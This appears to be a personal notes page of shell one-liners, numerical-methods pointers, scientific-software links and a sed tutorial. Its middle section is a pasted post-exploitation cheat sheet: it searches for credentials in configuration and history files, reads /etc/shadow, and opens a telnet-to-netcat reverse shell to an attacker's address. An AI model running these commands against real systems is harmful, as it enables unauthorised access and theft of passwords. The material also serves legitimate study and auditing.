ML (Machine Learning)
Deep Learning
Matrix inverse or solving Ax=b system of equation
direct methods: 1) Gauss elimination/and its variants using pivoting etc; 2) Crout's method
Iterative methods: Krylov method
See Inversion of Hilbert matrix by Cholesky factorization (https://jblevins.org/mirror/amiller/hilbert_nas.f90)
String manipulations in shell env:
https://www.tldp.org/LDP/abs/html/string-manipulation.html (see book by cooper in the book folder)
Few useful commands:
sum of 3 rd and 4th column in a file:
awk -F" " '{x+=$3;y+=$4;print}END{print "Total "x,y}' atom1_.out
OR
awk '{x+=$1;print}END{print x}' atom1_.out <--- will print the total of first column.
remove files starting from OSZ*
find . -type f -name "OSZ*" -exec rm -f {} \;
OR
find . -name "filename" -exec rm -f {} \;
remove directory starting from OSZ*
find . -type d -name "OSZ*" -exec rm -d {} \;
find files ending with srk and cp to another locations:
find -iname '*.srk' -exec cp {} /home/sk/tools/ \;
find a specific dir and remove contents of that dir:
find . -type d -name 'rlx' -exec find {} -mindepth 1 -delete \;
tar a folder with a maximum compression:
env GZIP=-9 tar cvzf file.tar.gz /path/to/directory
how to change list entruies ...
a[:] = [x*3 for x in a]
#awk_match_nubmber_n_print_that_line
for i in 3 7 11 15 18 22 26 30 36 37 41 48 49 53 60 61 65 72 73 77 ; do awk -v a=$i '$1==a {print}' FORCE.out | tee >> FORCE_fixd.dat; done
xmgrace, add two columns/rows of different files:
Go to DATA->transformation-> evaulate expression: first "duplicate" to create new data set (say G0.S5), then
type in Formula: s5.x=s1.y+s3.y so this formula will add y column of set s1 and s3.
Similarly, s6.x=s1.x+s3.x for new set G0.S6
Memory use:
1. cahce memory: free -g
for cleaning cahce: autoclean or autoremove
2. Hard disk menory usage: df -h
3. wacth memory use : watch -n 1 free -m
4. sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
--------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------
If direct clicking doesn't work, copy the link given below and paste to url location.
DFT:
http://mpdc.mae.cornell.edu/Courses/MAE715/MAE715.html
http://www.quantum-espresso.org/
http://www.stanford.edu/~hkulik/www/Tutorials/Tutorials.html
http://dft-blog.natanzon.eu/search/label/phonons
http://dft-blog.natanzon.eu/search/label/SIESTA
Group theory:
Group theory in quantum mechanics: Bolker Heine
Perl scripting language:
http://www.perl.com/pub/2008/04/23/a-beginners-introduction-to-perl-510.html
Python:
http://docs.python.org/py3k/contents.html
Fortran90:
http://www.cs.mtu.edu/~shene/COURSES/cs201/NOTES/fortran.html
MPI:
https://computing.llnl.gov/tutorials/mpi/
C++:
A list of all Linux commands commonly used with Linux operating systems.
Linux Commands List
File Commands
List files in the directory:
ls
List all files (shows hidden files):
ls -a
Show directory you are currently working in:
pwd
Create a new directory:
mkdir [directory]
Make a new directory
*rm [file_name] *
Remove a directory recursively
rm -rf [directory_name]
It deletes the directory
cp [file_name1] [file_name2]
Recursively copy the contents of one file to a second file:
cp -r [directory_name1] [directory_name2]
Rename [file_name1] to [file_name2] with the command:
mv [file_name1] [file_name2]
Create a symbolic link to a file:
ln -s /path/to/[file_name] [link_name]
Create a new file:
touch [file_name]
Hardware Information
Show bootup messages:
dmesg
See CPU information:
cat /proc/cpuinfo
Display free and used memory with:
free -h
List hardware configuration information:
lshw
See information about block devices:
lsblk
Show PCI devices in a tree-like diagram:
lspci -tv
Display USB devices in a tree-like diagram:
lsusb -tv
Show hardware information from the BIOS:
dmidecode
Display disk data information:
hdparm -i /dev/disk
Conduct a read-speed test on device/disk:
hdparm -tT /dev/[device]
Test for unreadable blocks on device/disk:
badblocks -s /dev/[device]
Operating System
What's the distribution type? What version?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
What's the kernel version? Is it 64-bit?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
What can be learnt from the environmental variables?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
Is there a printer?
lpstat -a
Applications & Services
What services are running? Which service has which user privilege?
ps aux
ps -ef
top
cat /etc/services
Which service(s) are been running by root? Of these services, which are vulnerable
ps aux | grep root
ps -ef | grep root
What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.r./
What jobs are scheduled?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
Any plain text usernames and/or passwords?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
Communications & Networking
What NIC(s) does the system have? Is it connected to another network?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
What other users & hosts are communicating with the system?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
Whats cached? IP and/or MAC addresses
arp -e
route
/sbin/route -nee
Is packet sniffing possible? What can be seen? Listen to live traffic
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
Have you got a shell? Can you interact with the system?
nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?**
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
What sensitive files can be found?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
Anything "interesting" in the home directorie(s)? If it's possible to access
ls -ahlR /root/
ls -ahlR /home/
Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
What has the user being doing? Is there any password in plain text? What have they been editing?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
What user information can be found?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
credit: https://fabianlee.org/2018/10/28/linux-using-sed-to-insert-lines-before-or-after-a-match/
In these examples, we will be dealing with a text file named “text.txt” that contains the following content:
mykey=one
anothervalue=two
lastvalue=three
The simplest case is replacing an entire line by finding the line that starts with the match.
sed 's/^anothervalue=.*/replace=me/g' test.txt
Which produces:
mykey=one
replace=me
lastvalue=three
Then we have the case where we need to insert a line after the match.
sed '/^anothervalue=.*/a after=me' test.txt
Which produces:
mykey=one
anothervalue=two
after=me
lastvalue=three
Then we have the case where we need to insert a line before the match.
sed '/^anothervalue=.*/i before=me' test.txt
Which produces:
mykey=one
before=me
anothervalue=two
lastvalue=three
And this might have slight variations depending on your POSIX compliance, but if you want to insert multiple lines, you can use ‘\n’ as shown below.
sed '/^anothervalue=.*/i before=me\nbefore2=me2' test.txt
Which produces:
mykey=one
before=me
before2=me2
anothervalue=two
lastvalue=three